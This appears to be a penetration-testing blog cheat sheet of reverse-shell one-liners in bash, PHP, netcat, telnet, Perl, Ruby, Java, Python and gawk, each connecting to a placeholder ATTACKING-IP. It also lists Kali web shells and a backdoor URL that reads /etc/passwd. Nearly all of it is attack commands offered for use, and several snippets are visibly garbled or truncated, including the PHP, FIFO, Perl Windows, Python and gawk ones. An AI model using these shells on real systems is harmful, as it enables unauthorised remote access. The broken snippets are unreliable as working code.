



Reverse Shell Cheat Sheet ∞

CHEAT-SHEET

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Arr0way

During penetration testing if you're lucky enough to find a remote command execution vulnerability, you'll more often than not want to connect back to your attacking machine to leverage an interactive shell.

Below are a collection of **reverse shells** that use commonly installed programming languages, or commonly installed binaries (nc, telnet, bash, etc). At the bottom of the post are a collection of uploadable reverse shells, present in Kali Linux.

Setup Listening Netcat

Your remote shell will need a listening netcat instance in order to connect back.

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Set your Netcat listening shell on an allowed port

Use a port that is likely allowed via outbound firewall rules on the target network, e.g. 80 / 443

To setup a listening netcat instance, enter the following:

```
root@kali:~# nc -nvlp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...
```



NAT requires a port forward

If you're attacking machine is behind a NAT router, you'll need to setup a port forward to the attacking machines IP / Port.

ATTACKING-IP is the machine running your listening netcat session, port 80 is used in all examples below (for reasons mentioned above).

Bash Reverse Shells

```
exec /bin/bash 0&0 2>&0
```

```
0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196
```

```
exec 5<>/dev/tcp/ATTACKING-IP/80
cat <&5 | while read line; do $line 2>&5 >&5; done
```

or:

```
while read line 0<&5; do $line 2>&5 >&5; done
```

```
bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1
```

PHP Reverse Shell

```
php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i");'
(Assumes TCP uses file descriptor 3. If it doesn't work, try
```

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Netcat Reverse Shell

```
nc -e /bin/sh ATTACKING-IP 80
```

```
/bin/sh | nc ATTACKING-IP 80
```

```
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p
```

Telnet Reverse Shell

```
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
```

```
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 4443
```

Remember to listen on 443 on the attacking machine also.

Perl Reverse Shell

```
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,0,65535);connect(S,$i,$p);exec "/bin/sh -i";'
```

Perl Windows Reverse Shell

```
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP",80,AF_INET,0,0);$c->listen(5);$i=$c->getsockname();$p=$c->getsockname();$c->accept($s);$s->listen(5);exec "cmd.exe";'
```

```
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,0,65535);connect(S,$i,$p);exec "/bin/sh -i";'
```

Ruby Reverse Shell

```
ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;socket=f.accept;exec "/bin/sh -i";'
```

Java Reverse Shell

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```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/PORT"]
p.waitFor()
```

Python Reverse Shell

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",PORT));p=subprocess.Popen(["/bin/bash"],stdin=s,stdout=s,stderr=s);p.waitfor()'>
```

Gawk Reverse Shell

```
#!/usr/bin/gawk -f

BEGIN {
    Port      =      8080
    Prompt    =      "bkd> "

    Service = "/inet/tcp/" Port "/0/0"
    while (1) {
        do {
            printf Prompt |& Service
            Service |& getline cmd
            if (cmd) {
                while ((cmd |& getline) > 0) {
                    print $0 |& Service
                    close(cmd)
                }
            } while (cmd != "exit")
            close(Service)
        }
    }
}
```

Kali Web Shells

The following shells exist within Kali Linux, under

`/usr/share/webshells/` these are only useful if you are able to upload, inject or transfer the shell to the machine.

Kali PHP Web Shells

COMMAND	DESCRIPTION
<code>/usr/share/webshells/php/php-reverse-shell.php</code>	Pen Test Monkey - PHP Reverse Shell
<code>/usr/share/webshells/php/php-findsock-shell.php</code> <code>/usr/share/webshells/php/findsock.c</code>	Pen Test Monkey, Findsock Shell. Build <code>gcc -o findsock findsock.c</code> (be mindfull of the target servers architecture), execute with netcat not a browser <code>nc -v target 80</code>
<code>/usr/share/webshells/php/simple-backdoor.php</code>	PHP backdoor, usefull for CMD execution if upload / code injection is possible, usage: <code>http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd</code>
<code>/usr/share/webshells/php/php-backdoor.php</code>	Larger PHP shell, with a text input box for command execution.



Tip: Executing Reverse Shells

The last two shells above are not reverse shells, however they can be useful for executing a reverse shell.

Kali Perl Reverse Shell

COMMAND	DESCRIPTION
<code>/usr/share/webshells/perl/perl-reverse-shell.pl</code>	Pen Test Monkey - Perl Reverse Shell
<code>/usr/share/webshells/perl/perlcmd.cgi</code>	Pen Test Monkey, Perl Shell. Usage: <code>http://target.com/perlcmd.cgi?cat /</code>

Kali Cold Fusion Shell

COMMAND	DESCRIPTION
<code>/usr/share/webshells/cfm/cfexec.cfm</code>	Cold Fusion Shell - aka CFM Shell

Kali ASP Shell

COMMAND	DESCRIPTION
<code>/usr/share/webshells/asp/</code>	Kali ASP Shells

Kali ASPX Shells

COMMAND	DESCRIPTION
<code>/usr/share/webshells/aspx/</code>	Kali ASPX Shells

Kali JSP Reverse Shell

COMMAND	DESCRIPTION
<code>/usr/share/webshells/jsp/jsp-reverse.jsp</code>	Kali JSP Reverse Shell

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